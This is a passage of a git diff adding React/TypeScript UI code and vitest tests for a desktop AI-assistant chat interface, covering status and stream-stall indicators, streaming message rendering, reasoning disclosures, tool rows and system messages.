+  it('is marked as transcript scaffolding', () => {
+    $activeSessionId.set('session-a')
+    $turnStartedAt.set(Date.now())
+    const { container } = renderIndicator()
+
+    expect(container.querySelector('[role="status"]')?.hasAttribute('data-conversation-scaffold')).toBe(true)
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/thread/status.tsx b/ui-desktop/src/components/assistant-ui/thread/status.tsx
new file mode 100644
index 000000000..9fd1699a2
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/status.tsx
@@ -0,0 +1,253 @@
+import { useAuiState } from '@assistant-ui/react'
+import { useStore } from '@nanostores/react'
+import { type FC, type ReactNode, useEffect, useMemo, useState } from 'react'
+
+import { useSessionView } from '@/app/chat/session-view'
+import { toolPresentVerb } from '@/components/assistant-ui/tool/run-summary'
+import { useElapsedSeconds } from '@/components/chat/activity-timer'
+import { ActivityTimerText } from '@/components/chat/activity-timer-text'
+import { SCAFFOLD_LABEL_CLASS } from '@/components/chat/scaffold-row'
+import { Codicon } from '@/components/ui/codicon'
+import { Loader } from '@/components/ui/loader'
+import { StatusPulse } from '@/components/ui/status-pulse'
+import { useI18n } from '@/i18n'
+import { cn } from '@/lib/utils'
+import { $backgroundResume } from '@/store/background-delegation'
+import { sessionCompacting } from '@/store/compaction'
+import { sessionAwaitingInput } from '@/store/prompts'
+import { $turnStartedAt } from '@/store/session'
+import { type DraftingTool, sessionDraftingTool } from '@/store/tool-drafting'
+
+// A status line is scaffolding like any other — "Editing" while the model
+// drafts a call is the same kind of line as "Explored 3 files" once it has run,
+// and reads as one continuous column only if it shares their type and colour.
+const StatusRow: FC<{ children: ReactNode; label: string } & React.ComponentPropsWithoutRef<'div'>> = ({
+  children,
+  label,
+  className,
+  ...rest
+}) => (
+  <div
+    aria-label={label}
+    aria-live="polite"
+    className={cn(
+      'flex min-w-0 max-w-full items-center gap-1.5 self-start leading-(--conversation-line-height)',
+      'text-(--conversation-scaffold-text)',
+      className
+    )}
+    data-conversation-scaffold=""
+    role="status"
+    {...rest}
+  >
+    {children}
+  </div>
+)
+
+// Fixed label while auto-compaction runs — decoupled from backend status text.
+const COMPACTION_LABEL = 'Summarizing thread'
+
+const HintText: FC<{ children: ReactNode }> = ({ children }) => (
+  <span className={cn(SCAFFOLD_LABEL_CLASS, 'shimmer min-w-0 flex-1 truncate')}>{children}</span>
+)
+
+/** These indicators render inside whichever transcript mounted them, so every
+ *  session-scoped signal comes from that surface's view — a tile must never
+ *  show the primary chat's compaction, prompt-wait, or turn timer. */
+function useThreadSessionStatus() {
+  const sessionId = useStore(useSessionView().$runtimeId)
+  const turnStartedAt = useStore($turnStartedAt)
+  const compacting = useStore(useMemo(() => sessionCompacting(sessionId), [sessionId]))
+  const drafting = useStore(useMemo(() => sessionDraftingTool(sessionId), [sessionId]))
+  // A pending clarify / approval / sudo / secret means the turn is paused on the
+  // user, not working — so don't resurrect the "thinking" timer while they
+  // decide (matches the pet's awaitingInput pose taking priority over busy).
+  const awaitingInput = useStore(useMemo(() => sessionAwaitingInput(sessionId), [sessionId]))
+
+  return {
+    awaitingInput,
+    compacting,
+    drafting,
+    turnTimerKey: sessionId && turnStartedAt ? `turn:${sessionId}:${turnStartedAt}` : undefined
+  }
+}
+
+// Long enough that a tool whose arguments arrive in a few frames never gets to
+// strobe a label, short enough that a real wait is named almost immediately.
+const DRAFTING_REVEAL_MS = 200
+
+/**
+ * What to call the wait, if it deserves a name. Compaction outranks a draft —
+ * it's rarer, slower, and explains a transcript that looks like it reset.
+ */
+function useStatusHint(compacting: boolean, drafting: DraftingTool | null): string {
+  const [revealed, setRevealed] = useState(false)
+  const name = drafting?.name ?? ''
+
+  useEffect(() => {
+    setRevealed(false)
+
+    if (!name) {
+      return
+    }
+
+    const id = window.setTimeout(() => setRevealed(true), DRAFTING_REVEAL_MS)
+
+    return () => window.clearTimeout(id)
+  }, [name])
+
+  if (compacting) {
+    return COMPACTION_LABEL
+  }
+
+  return revealed && name ? toolPresentVerb(name) : ''
+}
+
+export const CenteredThreadSpinner: FC = () => {
+  const { t } = useI18n()
+
+  return (
+    <div
+      aria-label={t.assistant.thread.loadingSession}
+      className="pointer-events-none absolute inset-0 z-1 grid place-items-center"
+      role="status"
+    >
+      <Loader
+        aria-hidden="true"
+        className="size-12 text-midground/70"
+        pathSteps={220}
+        role="presentation"
+        strokeScale={0.72}
+        type="rose-curve"
+      />
+    </div>
+  )
+}
+
+export const ResponseLoadingIndicator: FC = () => {
+  const { t } = useI18n()
+  const { compacting, drafting, turnTimerKey } = useThreadSessionStatus()
+  const elapsed = useElapsedSeconds(true, turnTimerKey)
+  const hint = useStatusHint(compacting, drafting)
+
+  return (
+    <StatusRow data-slot="aui_response-loading" label={hint || t.assistant.thread.loadingResponse}>
+      <StatusPulse
+        aria-hidden="true"
+        className="dither inline-block size-3 rounded-[2px] text-midground/80"
+        kind="opacity"
+      />
+      {hint && <HintText>{hint}</HintText>}
+      <ActivityTimerText seconds={elapsed} />
+    </StatusRow>
+  )
+}
+
+// Parked-background affordance: a top-level delegate_task runs in the
+// background, so the parent turn ends and the app goes idle while the subagent
+// keeps working and its result re-enters as a fresh turn later. Instead of a
+// spinner (reads as "stuck"), reuse the same compact, centered system-note
+// chrome as the steer / slash-status lines (SystemMessage above) so it sits in
+// the thread like every other meta line. Idle-only (gated upstream). Null when
+// nothing is parked.
+export const BackgroundResumeNotice: FC = () => {
+  const { t } = useI18n()
+  const resume = useStore($backgroundResume)
+
+  if (!resume) {
+    return null
+  }
+
+  const label = resume.activity ?? t.assistant.thread.resumeWhenBackgroundDone(resume.count)
+
+  return (
+    <div
+      aria-live="polite"
+      className="flex max-w-[min(86%,44rem)] items-center gap-1.5 self-center px-2 py-0.5 text-[0.6875rem] leading-5 text-muted-foreground/55"
+      data-slot="aui_background-resume"
+      role="status"
+    >
+      <Codicon className="text-muted-foreground/55" name="sync" size="0.75rem" />
+      <span className="shimmer min-w-0 truncate">{label}</span>
+    </div>
+  )
+}
+
+// Seconds of no visible output (text or part count) before a still-running turn
+// is treated as stalled and the thinking indicator returns at the tail.
+const STREAM_STALL_S = 2
+
+// Tail "still thinking" indicator: the pre-first-token spinner goes away once
+// text flows, but if the stream then goes quiet mid-turn (tool think-time,
+// provider stall) nothing signals that work continues. Watch a per-flush
+// activity signal; when it hasn't changed for STREAM_STALL_S, re-show the
+// dither + a timer counting from the last activity.
+//
+// Subscribes to the activity signal ITSELF (rather than taking it as a prop)
+// so that per-token updates re-render only this leaf, not the whole
+// AssistantMessage subtree.
+export const StreamStallIndicator: FC = () => {
+  const activity = useAuiState(s => {
+    let textLength = 0
+
+    for (const part of s.message.content) {
+      const text = (part as { text?: unknown }).text
+
+      if (typeof text === 'string') {
+        textLength += text.length
+      }
+    }
+
+    return `${s.message.content.length}:${textLength}`
+  })
+
+  // Timestamp of the activity that preceded the current quiet spell, set once
+  // the spell qualifies as a stall. Holding the timestamp (not a boolean) is
+  // what lets the timer read "quiet for 12s" rather than the age of this
+  // component, which is the whole turn so far.
+  const [quietSince, setQuietSince] = useState<number | undefined>(undefined)
+  const { awaitingInput, compacting, drafting, turnTimerKey } = useThreadSessionStatus()
+  const hint = useStatusHint(compacting, drafting)
+
+  // A tool run at the tail already narrates the wait — its summary counts the
+  // calls, its ticker names the current one, and it carries its own timer. A
+  // second spinner under that adds a line and says nothing new.
+  const toolNarrating = useAuiState(s => s.message.content.at(-1)?.type === 'tool-call')
+
+  useEffect(() => {
+    setQuietSince(undefined)
+    const seenAt = Date.now()
+    const id = window.setTimeout(() => setQuietSince(seenAt), STREAM_STALL_S * 1000)
+
+    return () => window.clearTimeout(id)
+  }, [activity])
+
+  // A named wait doesn't have to earn the stall threshold first — we already
+  // know what the turn is doing, so say it as soon as the label is ready rather
+  // than leaving the transcript silent for STREAM_STALL_S.
+  const active = (quietSince !== undefined || Boolean(hint)) && !awaitingInput && !toolNarrating
+
+  // Compaction owns the whole turn, so it keeps counting from the turn's start;
+  // anything else counts from the moment the stream went quiet — the stall's own
+  // mark, or the draft's, whichever named the wait first.
+  const elapsed = useElapsedSeconds(
+    active,
+    compacting ? turnTimerKey : undefined,
+    compacting ? undefined : (quietSince ?? drafting?.since)
+  )
+
+  if (!active) {
+    return null
+  }
+
+  return (
+    <StatusRow data-slot="aui_stream-stall" label={hint || 'ClawCodex is thinking'}>
+      <StatusPulse
+        aria-hidden="true"
+        className="dither inline-block size-3 rounded-[2px] text-midground/80"
+        kind="opacity"
+      />
+      {hint && <HintText>{hint}</HintText>}
+      <ActivityTimerText seconds={elapsed} />
+    </StatusRow>
+  )
+}
diff --git a/ui-desktop/src/components/assistant-ui/thread/streaming.test.tsx b/ui-desktop/src/components/assistant-ui/thread/streaming.test.tsx
new file mode 100644
index 000000000..e4ee9c885
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/streaming.test.tsx
@@ -0,0 +1,695 @@
+import { AssistantRuntimeProvider, type ThreadMessage, useExternalStoreRuntime } from '@assistant-ui/react'
+import { act, fireEvent, render, screen, waitFor, within } from '@testing-library/react'
+import { useEffect, useState } from 'react'
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { Thread } from '.'
+
+const createdAt = new Date('2026-05-01T00:00:00.000Z')
+
+const resizeObservers = new Set<TestResizeObserver>()
+
+class TestResizeObserver {
+  private target: Element | null = null
+
+  constructor(private readonly callback: ResizeObserverCallback) {
+    resizeObservers.add(this)
+  }
+
+  observe(target: Element) {
+    this.target = target
+  }
+
+  unobserve() {}
+
+  disconnect() {
+    resizeObservers.delete(this)
+  }
+
+  trigger(height: number) {
+    if (!this.target) {
+      return
+    }
+
+    this.callback(
+      [
+        {
+          contentRect: { height } as DOMRectReadOnly,
+          target: this.target
+        } as ResizeObserverEntry
+      ],
+      this as unknown as ResizeObserver
+    )
+  }
+}
+
+vi.stubGlobal('ResizeObserver', TestResizeObserver)
+vi.stubGlobal('requestAnimationFrame', (callback: FrameRequestCallback) =>
+  window.setTimeout(() => callback(performance.now()), 0)
+)
+vi.stubGlobal('cancelAnimationFrame', (id: number) => window.clearTimeout(id))
+vi.stubGlobal('CSS', { escape: (str: string) => str })
+
+Element.prototype.scrollTo = function scrollTo() {}
+
+Element.prototype.animate = function animate() {
+  return {
+    cancel: () => {},
+    finished: Promise.resolve()
+  } as unknown as Animation
+}
+
+// jsdom returns 0 for offset*; some layout code reads those to size the
+// viewport. Fall through to client* (which tests can override) or a sane
+// default so message rows render with non-zero dimensions.
+function stubOffsetDimension(
+  prop: 'offsetHeight' | 'offsetWidth',
+  clientProp: 'clientHeight' | 'clientWidth',
+  fallback: number
+) {
+  const previous = Object.getOwnPropertyDescriptor(HTMLElement.prototype, prop)
+
+  Object.defineProperty(HTMLElement.prototype, prop, {
+    configurable: true,
+    get() {
+      return previous?.get?.call(this) || (this as HTMLElement)[clientProp] || fallback
+    }
+  })
+}
+
+stubOffsetDimension('offsetWidth', 'clientWidth', 800)
+stubOffsetDimension('offsetHeight', 'clientHeight', 600)
+
+async function wait(ms: number) {
+  await act(async () => {
+    await new Promise(resolve => window.setTimeout(resolve, ms))
+  })
+}
+
+function userMessage(): ThreadMessage {
+  return {
+    id: 'user-1',
+    role: 'user',
+    content: [{ type: 'text', text: 'Stream a response' }],
+    attachments: [],
+    createdAt,
+    metadata: { custom: {} }
+  } as ThreadMessage
+}
+
+function assistantMessage(text: string, running = true): ThreadMessage {
+  return {
+    id: 'assistant-1',
+    role: 'assistant',
+    content: [{ type: 'text', text }],
+    status: running ? { type: 'running' } : { type: 'complete', reason: 'stop' },
+    createdAt,
+    metadata: {
+      unstable_state: null,
+      unstable_annotations: [],
+      unstable_data: [],
+      steps: [],
+      custom: {}
+    }
+  } as ThreadMessage
+}
+
+function assistantErrorMessage(error: string): ThreadMessage {
+  return {
+    id: 'assistant-error-1',
+    role: 'assistant',
+    content: [],
+    status: { type: 'incomplete', reason: 'error', error },
+    createdAt,
+    metadata: {
+      unstable_state: null,
+      unstable_annotations: [],
+      unstable_data: [],
+      steps: [],
+      custom: {}
+    }
+  } as ThreadMessage
+}
+
+function assistantReasoningMessage(text: string, running = false): ThreadMessage {
+  return {
+    id: 'assistant-reasoning-1',
+    role: 'assistant',
+    content: [{ type: 'reasoning', text }],
+    status: running ? { type: 'running' } : { type: 'complete', reason: 'stop' },
+    createdAt,
+    metadata: {
+      unstable_state: null,
+      unstable_annotations: [],
+      unstable_data: [],
+      steps: [],
+      custom: {}
+    }
+  } as ThreadMessage
+}
+
+function assistantMultiReasoningMessage(texts: string[]): ThreadMessage {
+  return {
+    id: 'assistant-reasoning-multi-1',
+    role: 'assistant',
+    content: texts.map(text => ({ type: 'reasoning', text })),
+    status: { type: 'complete', reason: 'stop' },
+    createdAt,
+    metadata: {
+      unstable_state: null,
+      unstable_annotations: [],
+      unstable_data: [],
+      steps: [],
+      custom: {}
+    }
+  } as ThreadMessage
+}
+
+function assistantSeparatedReasoningMessage(): ThreadMessage {
+  return {
+    id: 'assistant-reasoning-separated-1',
+    role: 'assistant',
+    content: [
+      { type: 'reasoning', text: ' Complete first thought.', status: { type: 'complete' } },
+      { type: 'text', text: 'Interim answer.' },
+      { type: 'reasoning', text: ' Streaming second thought.', status: { type: 'running' } }
+    ],
+    status: { type: 'running' },
+    createdAt,
+    metadata: {
+      unstable_state: null,
+      unstable_annotations: [],
+      unstable_data: [],
+      steps: [],
+      custom: {}
+    }
+  } as ThreadMessage
+}
+
+function assistantTodoMessage(
+  todos: Array<{ content: string; id: string; status: 'cancelled' | 'completed' | 'in_progress' | 'pending' }>,
+  running = true
+): ThreadMessage {
+  const suffix = todos.map(todo => `${todo.id}:${todo.status}`).join('|') || 'empty'
+
+  return {
+    id: `assistant-todo-${running ? 'running' : 'done'}-${suffix}`,
+    role: 'assistant',
+    content: [
+      {
+        type: 'tool-call',
+        toolCallId: 'todo-1',
+        toolName: 'todo',
+        args: { todos },
+        argsText: JSON.stringify({ todos }),
+        ...(running ? {} : { result: { todos } })
+      }
+    ],
+    status: running ? { type: 'running' } : { type: 'complete', reason: 'stop' },
+    createdAt,
+    metadata: {
+      unstable_state: null,
+      unstable_annotations: [],
+      unstable_data: [],
+      steps: [],
+      custom: {}
+    }
+  } as ThreadMessage
+}
+
+function assistantImageMessage(
+  running = false,
+  result: unknown = { image: 'https://cdn.example/cat.png', success: true }
+): ThreadMessage {
+  return {
+    id: `assistant-image-${running ? 'running' : 'done'}`,
+    role: 'assistant',
+    content: [
+      {
+        type: 'tool-call',
+        toolCallId: 'image-1',
+        toolName: 'image_generate',
+        args: { prompt: 'draw a cat' },
+        argsText: JSON.stringify({ prompt: 'draw a cat' }),
+        ...(running ? {} : { result })
+      }
+    ],
+    status: running ? { type: 'running' } : { type: 'complete', reason: 'stop' },
+    createdAt,
+    metadata: {
+      unstable_state: null,
+      unstable_annotations: [],
+      unstable_data: [],
+      steps: [],
+      custom: {}
+    }
+  } as ThreadMessage
+}
+
+function assistantTerminalMessage(): ThreadMessage {
+  return {
+    id: 'assistant-terminal-1',
+    role: 'assistant',
+    content: [
+      {
+        type: 'tool-call',
+        toolCallId: 'terminal-1',
+        toolName: 'terminal',
+        args: { command: 'npm run check --workspace=apps/desktop' },
+        argsText: JSON.stringify({ command: 'npm run check --workspace=apps/desktop' }),
+        result: { exit_code: 0, stdout: 'all checks passed' }
+      }
+    ],
+    status: { type: 'complete', reason: 'stop' },
+    createdAt,
+    metadata: {
+      unstable_state: null,
+      unstable_annotations: [],
+      unstable_data: [],
+      steps: [],
+      custom: {}
+    }
+  } as ThreadMessage
+}
+
+interface StreamingControls {
+  emitSecond: () => void
+  complete: () => void
+}
+
+function StreamingHarness({ onControls }: { onControls?: (controls: StreamingControls) => void } = {}) {
+  const [messages, setMessages] = useState<ThreadMessage[]>([userMessage()])
+  const [isRunning, setIsRunning] = useState(true)
+
+  useEffect(() => {
+    const first = window.setTimeout(() => {
+      setMessages([userMessage(), assistantMessage('first chunk')])
+    }, 50)
+
+    if (onControls) {
+      onControls({
+        emitSecond: () => {
+          setMessages([userMessage(), assistantMessage('first chunk second chunk')])
+        },
+        complete: () => {
+          setMessages([userMessage(), assistantMessage('first chunk second chunk', false)])
+          setIsRunning(false)
+        }
+      })
+
+      return () => window.clearTimeout(first)
+    }
+
+    const second = window.setTimeout(() => {
+      setMessages([userMessage(), assistantMessage('first chunk second chunk')])
+    }, 500)
+
+    const complete = window.setTimeout(() => {
+      setMessages([userMessage(), assistantMessage('first chunk second chunk', false)])
+      setIsRunning(false)
+    }, 700)
+
+    return () => {
+      window.clearTimeout(first)
+      window.clearTimeout(second)
+      window.clearTimeout(complete)
+    }
+  }, [onControls])
+
+  const runtime = useExternalStoreRuntime<ThreadMessage>({
+    messages,
+    isRunning,
+    onNew: async () => {}
+  })
+
+  return (
+    <AssistantRuntimeProvider runtime={runtime}>
+      <Thread loading={isRunning && messages.at(-1)?.role !== 'assistant' ? 'response' : undefined} />
+    </AssistantRuntimeProvider>
+  )
+}
+
+function TodoHarness({ message }: { message: ThreadMessage }) {
+  const runtime = useExternalStoreRuntime<ThreadMessage>({
+    messages: [message],
+    isRunning: message.status?.type === 'running',
+    onNew: async () => {}
+  })
+
+  return (
+    <AssistantRuntimeProvider runtime={runtime}>
+      <Thread />
+    </AssistantRuntimeProvider>
+  )
+}
+
+function MessageHarness({ message }: { message: ThreadMessage }) {
+  const runtime = useExternalStoreRuntime<ThreadMessage>({
+    messages: [message],
+    isRunning: false,
+    onNew: async () => {}
+  })
+
+  return (
+    <AssistantRuntimeProvider runtime={runtime}>
+      <Thread />
+    </AssistantRuntimeProvider>
+  )
+}
+
+function TranscriptHarness({ messages }: { messages: ThreadMessage[] }) {
+  const runtime = useExternalStoreRuntime<ThreadMessage>({
+    messages,
+    isRunning: false,
+    onNew: async () => {}
+  })
+
+  return (
+    <AssistantRuntimeProvider runtime={runtime}>
+      <Thread />
+    </AssistantRuntimeProvider>
+  )
+}
+
+function assistantInterimMessage(text: string, id = 'assistant-interim-1'): ThreadMessage {
+  return {
+    id,
+    role: 'assistant',
+    content: [{ type: 'text', text }],
+    status: { type: 'complete', reason: 'stop' },
+    createdAt,
+    metadata: {
+      unstable_state: null,
+      unstable_annotations: [],
+      unstable_data: [],
+      steps: [],
+      custom: { interim: true }
+    }
+  } as ThreadMessage
+}
+
+function RunningMessageHarness({ message }: { message: ThreadMessage }) {
+  const runtime = useExternalStoreRuntime<ThreadMessage>({
+    messages: [message],
+    isRunning: true,
+    onNew: async () => {}
+  })
+
+  return (
+    <AssistantRuntimeProvider runtime={runtime}>
+      <Thread />
+    </AssistantRuntimeProvider>
+  )
+}
+
+function ReasoningHarness() {
+  const runtime = useExternalStoreRuntime<ThreadMessage>({
+    messages: [assistantReasoningMessage(' The user is asking what this file is.')],
+    isRunning: false,
+    onNew: async () => {}
+  })
+
+  return (
+    <AssistantRuntimeProvider runtime={runtime}>
+      <Thread />
+    </AssistantRuntimeProvider>
+  )
+}
+
+function RunningReasoningHarness() {
+  const runtime = useExternalStoreRuntime<ThreadMessage>({
+    messages: [assistantReasoningMessage('```ts\nconst answer = 42\n', true)],
+    isRunning: true,
+    onNew: async () => {}
+  })
+
+  return (
+    <AssistantRuntimeProvider runtime={runtime}>
+      <Thread />
+    </AssistantRuntimeProvider>
+  )
+}
+
+function GroupedReasoningHarness() {
+  const runtime = useExternalStoreRuntime<ThreadMessage>({
+    messages: [assistantMultiReasoningMessage([' First thought.', ' Second thought.'])],
+    isRunning: false,
+    onNew: async () => {}
+  })
+
+  return (
+    <AssistantRuntimeProvider runtime={runtime}>
+      <Thread />
+    </AssistantRuntimeProvider>
+  )
+}
+
+function IntroHarness() {
+  const runtime = useExternalStoreRuntime<ThreadMessage>({
+    messages: [],
+    isRunning: false,
+    onNew: async () => {}
+  })
+
+  return (
+    <AssistantRuntimeProvider runtime={runtime}>
+      <Thread intro={{ personality: 'default', seed: 1 }} />
+    </AssistantRuntimeProvider>
+  )
+}
+
+function DismissibleErrorHarness({ onDismissError }: { onDismissError: (messageId: string) => void }) {
+  const runtime = useExternalStoreRuntime<ThreadMessage>({
+    messages: [assistantErrorMessage('OpenRouter rejected the request (403).')],
+    isRunning: false,
+    onNew: async () => {}
+  })
+
+  return (
+    <AssistantRuntimeProvider runtime={runtime}>
+      <Thread onDismissError={onDismissError} />
+    </AssistantRuntimeProvider>
+  )
+}
+
+describe('assistant-ui streaming renderer', () => {
+  beforeEach(() => {
+    resizeObservers.clear()
+  })
+
+  it('renders assistant text incrementally before completion', async () => {
+    let controls: StreamingControls | undefined
+
+    const registerControls = (next: StreamingControls) => {
+      controls = next
+    }
+
+    const { container } = render(<StreamingHarness onControls={registerControls} />)
+
+    expect(screen.getByRole('status', { name: 'ClawCodex is loading a response' })).toBeTruthy()
+
+    await waitFor(() => {
+      expect(container.textContent).toContain('first chunk')
+    })
+    expect(container.textContent).not.toContain('second chunk')
+    expect(screen.queryByRole('status', { name: 'ClawCodex is loading a response' })).toBeNull()
+
+    // Producer-gated, not wall-clock-gated: the old test slept 80ms and
+    // assumed a 500ms timer could not fire before the assertion. On a loaded
+    // runner the test thread could be descheduled for >500ms, so both chunks
+    // arrived and this clean behavior test flaked.
+    act(() => controls?.emitSecond())
+    await waitFor(() => {
+      expect(container.textContent).toContain('first chunk second chunk')
+    })
+
+    act(() => controls?.complete())
+    await waitFor(() => {
+      expect(container.textContent).toContain('first chunk second chunk')
+    })
+  })
+
+  it('does not render composer clearance for intro-only threads', () => {
+    const { container } = render(<IntroHarness />)
+
+    expect(container.querySelector('[data-slot="aui_composer-clearance"]')).toBeNull()
+  })
+
+  it('suppresses the action footer on sealed interim messages, keeping it on the final reply', () => {
+    const { container } = render(
+      <TranscriptHarness
+        messages={[
+          userMessage(),
+          assistantInterimMessage('Let me check the files.'),
+          assistantInterimMessage('Now applying the patch.', 'assistant-interim-2'),
+          assistantMessage('All done — patch applied.', false)
+        ]}
+      />
+    )
+
+    // Interim commentary stays visible…
+    expect(container.textContent).toContain('Let me check the files.')
+    expect(container.textContent).toContain('Now applying the patch.')
+    expect(container.textContent).toContain('All done — patch applied.')
+
+    // …but only the turn's final reply carries the copy/refresh action bar.
+    const actionBars = container.querySelectorAll('[data-slot="aui_msg-actions"]')
+    expect(actionBars).toHaveLength(1)
+
+    const finalRoot = [...container.querySelectorAll('[data-slot="aui_assistant-message-root"]')].find(root =>
+      root.textContent?.includes('All done — patch applied.')
+    )
+
+    expect(finalRoot?.querySelector('[data-slot="aui_msg-actions"]')).toBeTruthy()
+  })
+
+  it('renders assistant provider errors inline', () => {
+    render(<MessageHarness message={assistantErrorMessage('OpenRouter rejected the request (403).')} />)
+
+    expect(screen.getByRole('alert').textContent).toContain('OpenRouter rejected the request (403).')
+  })
+
+  it('omits the dismiss control when no onDismissError handler is supplied', () => {
+    render(<MessageHarness message={assistantErrorMessage('OpenRouter rejected the request (403).')} />)
+
+    expect(screen.queryByRole('button', { name: 'Dismiss error' })).toBeNull()
+  })
+
+  it('invokes onDismissError with the errored message id when the dismiss control is clicked', () => {
+    const onDismissError = vi.fn()
+    render(<DismissibleErrorHarness onDismissError={onDismissError} />)
+
+    const dismiss = screen.getByRole('button', { name: 'Dismiss error' })
+    fireEvent.click(dismiss)
+
+    expect(onDismissError).toHaveBeenCalledTimes(1)
+    expect(onDismissError).toHaveBeenCalledWith('assistant-error-1')
+  })
+
+  // Scroll behavior (follow-at-bottom, escape-on-scroll-up, re-engage) is owned
+  // by the use-stick-to-bottom library and covered by its own test suite. We
+  // don't re-assert its scrollTop mechanics here — doing so in jsdom (no real
+  // layout, spring animation via rAF) only produces brittle change-detector
+  // tests. The rendering/streaming-content tests below remain the contract.
+
+  it('renders an incomplete streaming fenced code block as a code card', async () => {
+    const { container } = render(<RunningMessageHarness message={assistantMessage('```ts\nconst answer = 42\n')} />)
+
+    await waitFor(() => {
+      expect(container.querySelector('[data-slot="code-card"]')).toBeTruthy()
+    })
+
+    expect(container.textContent).toContain('const answer = 42')
+    expect(container.textContent).not.toContain('```ts')
+  })
+
+  it('renders an incomplete streaming reasoning fenced code block as a code card', async () => {
+    const { container } = render(<RunningReasoningHarness />)
+    const ui = within(container)
+    const thinkingToggle = ui.getByRole('button', { name: /thinking/i })
+
+    if (thinkingToggle.getAttribute('aria-expanded') !== 'true') {
+      fireEvent.click(thinkingToggle)
+    }
+
+    await waitFor(() => {
+      expect(container.querySelector('[data-slot="code-card"]')).toBeTruthy()
+    })
+
+    await waitFor(() => {
+      expect(container.querySelector('[data-slot="aui_reasoning-text"]')?.textContent).toContain('const answer = 42')
+    })
+    expect(container.textContent).not.toContain('```ts')
+  })
+
+  it('renders reasoning text without a leading token space', () => {
+    const { container } = render(<ReasoningHarness />)
+    const ui = within(container)
+
+    // Settled, so the header is past tense — a running block says "Thinking".
+    fireEvent.click(ui.getByRole('button', { name: /thought/i }))
+
+    expect(container.querySelector('[data-slot="aui_reasoning-text"]')?.textContent).toBe(
+      'The user is asking what this file is.'
+    )
+  })
+
+  it('groups consecutive reasoning parts under one thinking disclosure', () => {
+    const { container } = render(<GroupedReasoningHarness />)
+
+    const disclosures = container.querySelectorAll('[data-slot="aui_thinking-disclosure"]')
+    expect(disclosures.length).toBe(1)
+
+    fireEvent.click(disclosures[0].querySelector('button')!)
+
+    const reasoningParts = container.querySelectorAll('[data-slot="aui_reasoning-text"]')
+    expect(reasoningParts.length).toBe(2)
+    expect(reasoningParts[0]?.textContent).toBe('First thought.')
+    expect(reasoningParts[1]?.textContent).toBe('Second thought.')
+  })
+
+  it('does not reopen an earlier completed thinking group when a later group is running', () => {
+    const { container } = render(<RunningMessageHarness message={assistantSeparatedReasoningMessage()} />)
+
+    const disclosures = container.querySelectorAll('[data-slot="aui_thinking-disclosure"]')
+    expect(disclosures.length).toBe(2)
+
+    expect(disclosures[0].querySelector('button')?.getAttribute('aria-expanded')).toBe('false')
+    expect(disclosures[1].querySelector('button')?.getAttribute('aria-expanded')).toBe('true')
+    expect(container.textContent).not.toContain('Complete first thought.')
+    expect(container.textContent).toContain('Interim answer.')
+  })
+
+  it('does not render an inline todo panel — todos live in the composer status stack', () => {
+    const { container } = render(
+      <TodoHarness
+        message={assistantTodoMessage([
+          { content: 'Gather ingredients', id: 'prep', status: 'completed' },
+          { content: 'Boil water', id: 'boil', status: 'in_progress' }
+        ])}
+      />
+    )
+
+    expect(container.querySelector('[data-slot="aui_todo-hoisted"]')).toBeNull()
+  })
+
+  it('renders completed image generation results in the tool slot', async () => {
+    const { container } = render(<MessageHarness message={assistantImageMessage()} />)
+
+    await waitFor(() => {
+      expect(screen.getByRole('img', { name: 'Generated image' }).getAttribute('src')).toBe(
+        'https://cdn.example/cat.png'
+      )
+    })
+    expect(container.querySelector('[data-slot="aui_generated-image"]')).toBeTruthy()
+    expect(screen.queryByRole('status', { name: /rendering image/i })).toBeNull()
+  })
+
+  it('uses the normal tool row for failed image generations instead of dropping their error payload', async () => {
+    const { container } = render(
+      <MessageHarness
+        message={assistantImageMessage(false, { error: 'FAL rejected the prompt', image: null, success: false })}
+      />
+    )
+
+    fireEvent.click(container.querySelector('[data-tool-row] button')!)
+
+    await waitFor(() => {
+      expect(container.textContent).toContain('FAL rejected the prompt')
+    })
+    expect(container.querySelector('[data-slot="aui_generated-image"]')).toBeNull()
+    expect(container.textContent).not.toContain('"success":false')
+  })
+
+  it('shows the command prompt and exit code for terminal calls', async () => {
+    const { container } = render(<MessageHarness message={assistantTerminalMessage()} />)
+
+    fireEvent.click(container.querySelector('[data-tool-row] button')!)
+
+    await waitFor(() => {
+      expect(container.textContent).toContain('$ npm run check --workspace=apps/desktop')
+      expect(container.textContent).toContain('exit 0')
+      expect(container.textContent).toContain('all checks passed')
+    })
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/thread/system-message.tsx b/ui-desktop/src/components/assistant-ui/thread/system-message.tsx
new file mode 100644
index 000000000..57631764f
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/system-message.tsx
@@ -0,0 +1,81 @@
+import { MessagePrimitive, useAuiState } from '@assistant-ui/react'
+import { type FC } from 'react'
+
+import { messageContentText } from '@/components/assistant-ui/thread/content'
+import { Codicon } from '@/components/ui/codicon'
+import { LinkifiedText } from '@/lib/external-link'
+import { cn } from '@/lib/utils'
+
+const SLASH_STATUS_RE = /^slash:(?<command>\/[^\n]+)\n(?<output>[\s\S]*)$/
+const STEER_NOTE_RE = /^steer:(?<text>[\s\S]+)$/
+
+export const SystemMessage: FC = () => {
+  const text = useAuiState(s => messageContentText(s.message.content))
+
+  if (!text) {
+    return null
+  }
+
+  const steerNote = text.match(STEER_NOTE_RE)
+
+  if (steerNote?.groups) {
+    return (
+      <MessagePrimitive.Root
+        className="flex max-w-[min(86%,44rem)] items-center gap-1.5 self-center px-2 py-0.5 text-[0.6875rem] leading-5 text-muted-foreground/60"
+        data-role="system"
+        data-slot="aui_system-message-root"
+      >
+        <Codicon className="text-muted-foreground/55" name="compass" size="0.75rem" />
+        <span className="text-muted-foreground/55">steered</span>
+        <span className="text-muted-foreground/35">·</span>
+        <span className="whitespace-pre-wrap">{steerNote.groups.text.trim()}</span>
+      </MessagePrimitive.Root>
+    )
+  }
+
+  const slashStatus = text.match(SLASH_STATUS_RE)
+
+  if (slashStatus?.groups) {
+    const output = slashStatus.groups.output.trim()
+    // Single-line status (e.g. "model → x") reads best centered inline; padded
+    // multiline output (catalogs, usage tables) needs left-aligned, wider room
+    // or the column alignment breaks.
+    const multiline = output.includes('\n')
+
+    return (
+      <MessagePrimitive.Root
+        className={cn(
+          'w-[60%] max-w-[44rem] self-center px-2 py-0.5 text-[0.6875rem] leading-5 text-muted-foreground/60',
